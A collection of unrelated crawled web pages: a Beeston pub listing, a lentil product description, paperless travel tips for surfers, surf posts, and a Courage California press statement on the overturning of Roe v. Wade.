Named after formidable Victorian bare-knuckle boxer and local hero William “Bendigo” Thompson, Bendigo Lounge sure packs a punch (groan). We’re on High Road, right in the heart of Beeston, with a sprinkling of outdoor seating and lovely full width windows across the front that open right up. Behind our handsome bottle green and orange exterior is a warm, welcoming space where we serve a fantastic range of food and drinks, overlooked by some suitably dotty decor, including an impressive mural of our pugilistic friend. Knockout! Sorry, couldn’t resist. What is it that people love best about Lounging? Is it the food? The cocktails? Our lovely staff? Or the photo of the old boy on an airbed in his pants? Let’s see, shall we?
- Children Welcome
- Vegetarian Options
- Gluten Free Options
- dog friendly
- vegan options
- takeaway available
WE DON'T TAKE ADVANCED BOOKINGS – JUST COME ON DOWN AND WE'LL FIND A TABLE FOR YOU. | <urn:uuid:8c11f104-c01a-4c7b-9649-5c03dbfdfbf9> | CC-MAIN-2024-18 | https://spw.restaurantcollective.org.uk/86450-bendigo-lounge/index.html | 2024-04-14T23:02:56Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.879 | 292 |
Chana Dal 250 gm
Actual product pack may vary from the images shown.
Chana dal is a popular lentil variety that is widely used in Indian cuisine. Spyran's Chana Dal is a premium quality, whole grain lentil that is carefully selected and packed to ensure the highest standards of quality and freshness.
Chana dal is a rich source of protein, fibre, vitamins, and minerals, making it an excellent addition to a healthy diet. It is also low in fat and calories, making it a great choice for those looking to maintain a healthy weight.
Spyran's Chana Dal has a nutty flavour and a firm texture, making it a versatile ingredient that can be used in a variety of dishes. It is commonly used to make dal, a popular lentil-based dish in Indian cuisine, as well as soups, stews, and salads.
This lentil is easy to cook and can be used in a variety of recipes. It is perfect for vegetarian and vegan dishes and is a great source of protein for those who follow a plant-based diet.
So, whether you're a seasoned cook or just starting out, Spyran's Chana Dal is a must-have ingredient in your pantry. Try it today and experience the authentic and delicious flavour of this versatile lentil.
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If you have been hesitant to start your eco hero’s journey into the world of digital documents, don’t worry, you’re not alone.
In fact, there’s often a strange sense of comfort that comes from having information printed on a piece of pristine paper. How many times have you sent your travel itinerary to your phone but also printed it on paper for a backup?
The advantages of having everything stored in a digital format are hard to ignore when getting ready to fly across the planet to submerge yourself in saltwater bliss.
• save effort with less paper to store and carry around (more room for surfboards and beer)
• save stress by avoiding losing important documents (always available online)
• save paper and carbon emissions associated with mailing paper documents
• save time by having access to your documents anywhere (except that boat in the Mentawais)
Digitizing your paper system is especially useful for traveling surfers.
Getting your documents in order may be the underlying resistance to leaving the country for that epic surf vacation you have been dreaming about.
Good News: substituting your messy paper system for an eco-friendly, sharable, portable, organized system is as easy as paddling out at Mondos in Ventura, California.
6 Tips To Going Paperless On Your Next Surf Adventure (Really 3 tips and 3 action items)
To jumpstart your soon-to-be paperless path to increased efficiency, I’d like to share a simple, three step guide to going paperless.
1. Reduce Your Paper Input For Easy Travel Organization
You may be ready to start scanning up a storm, but before you do that, what if you could drastically reduce the amount of paper you receive in the first place? While you are basking on the beaches of Bali you’ll want to be able to manage and pay your bills online.
Top paper kooks that can easily be switched to electronic documents are:
• credit cards
• monthly bills (cell phone, utilities, rent/mortgage)
• bank statements
• tax documents
Sometimes you can get discounts or rewards for switching to the paperless option.
Action Step: Take an hour to automate as many bills as possible, receive digital bank and tax statements and stop unsolicited mail form cramming your mailbox.
2. Choose Your Document Management System.
You’ll want something that uses cloud storage to store your important documents. That way, if something should happen to your computer or hard drive, you still have all of your documents safely backed up.
Opting for cloud based storage also makes the information accessible from virtually anywhere in the world via wireless internet connection.
Action Step: Open a Google Drive account and learn the basics of using this free cloud resource.
3. Scan Your Most Important Documents Pre-Trip
Our list of most important documents includes:
• health records (including pre-trip shots)
• malaria medication instructions
• birth certificate
• social security card (or ID)
• drivers license
• travel insurance policies
• airline ticket
• car reservations
• credit card replacement numbers
• marriage license (in case you decide to marry that girl you met in the water at Ulu)
• military service records
• investment records (need to make a trade to extend your trip)
• will (hopefully you won’t need this one)
There are a number of document scanning applications that will turn your smartphone into a high quality scanning machine. I like TinyScan and recommend downloading it from the app store.
Got More Paperless Tips?
Got any more tips going paperless before your next surf adventure, send them to [email protected] or add to the comments below if you are reading this online. | <urn:uuid:f1d2e381-063a-4777-b5d0-862b698fcf89> | CC-MAIN-2024-18 | https://srfer.com/6-tips-to-going-paperless-on-your-next-surf-adventure/ | 2024-04-14T22:55:24Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.908388 | 786 |
Eco Warrior’s Stick
Thanks to Mikey in the UK for sending us this pic—EPS blank, balsa epoxied to foam, and laminated with ecoresin.
He says he had fun on it but I think that guy has fun on anything he rides.
It looks nice, a little fat in the nose but I like the grain in the wood and that creates an upward sweeping design.
The UK shapers are pushing the eco envelope . . .
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Written by URBNSURF | August 24th, 2020
During our brief re-opening in June and July, we launched our new Cruiser and Expert surf sessions at The Point. Featuring our fun and friendly Malibu settings, our Cruiser Sessions are perfect for beginner and novice surfers who want to progress their surfing, and for longboard, sofboard and fish enthusiasts who want to trim and carve turns. Expect more Cruiser Sessions on our wave menu when we re-open in Spring – get ready for more epic times at URBNSURF Melbourne, real soon!
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Los Angeles — In response to the Supreme Court of the United States overturning Roe v. Wade and ending American’s constitutional right to abortion, California’s largest progressive organization, Courage California, released the following statement:
Irene Kao, Executive Director of Courage California, issued the following statement:
By overturning Roe v. Wade and gun-safety laws in the last two days, the right-wing majority of the Supreme Court of the United States has undermined the will of the majority of Americans, criminalized choice, and endangered lives. Donald Trump – who had lost the popular vote, was impeached by Congress, and led an armed insurrection – made good on his promise to place extremist justices on the court, and now we are seeing the dire consequences. The decisions led by Justices Alioto, Barrett, Gorsuch, Kavanaugh, Roberts, and Thomas affirm their commitment to a white Christian nationalist political agenda, instead of the equal protection for all Americans under the law.
It’s time for Californians and people across the nation to stand together, fight for the rights of all Americans, and take action to ensure we have leaders with the courage to uphold the will of the people. Recent SCOTUS decisions signal the intentions of this right-wing majority to go further in their attacks on gun safety, marriage equality, contraception, and LGBTQIA+ rights.
Courage California is committed to enshrine abortion protections championed by the California Future of Abortion Council, direct resources to ACCESS Reproductive Justice to support abortion for people in California and from states in which abortion is illegal, lobby for new gun safety measures, and endorse and elect pro-choice, pro-gun safety candidates at all levels of government.
We call on our Senators to immediately end the filibuster, pass bills to protect abortion, and do more to aggressively strengthen gun safety. Every Californian and American must vote their values on November 8 and elect courageous leaders who will counter the upcoming decades of attacks from the right-wing majority of the Supreme Court and MAGA leaders.
Abortion is legal in California, and our strong gun safety laws are still in place. Courage California will fight to ensure that this will continue to be the case in our state and that our state’s model of expanding rights and protections will be the nationwide standard. | <urn:uuid:a396d6f4-72ce-49a3-94e9-e3571c829a83> | CC-MAIN-2024-18 | https://staging.couragecalifornia.org/scotus-roe-wade/ | 2024-04-14T22:47:00Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.939847 | 470 |
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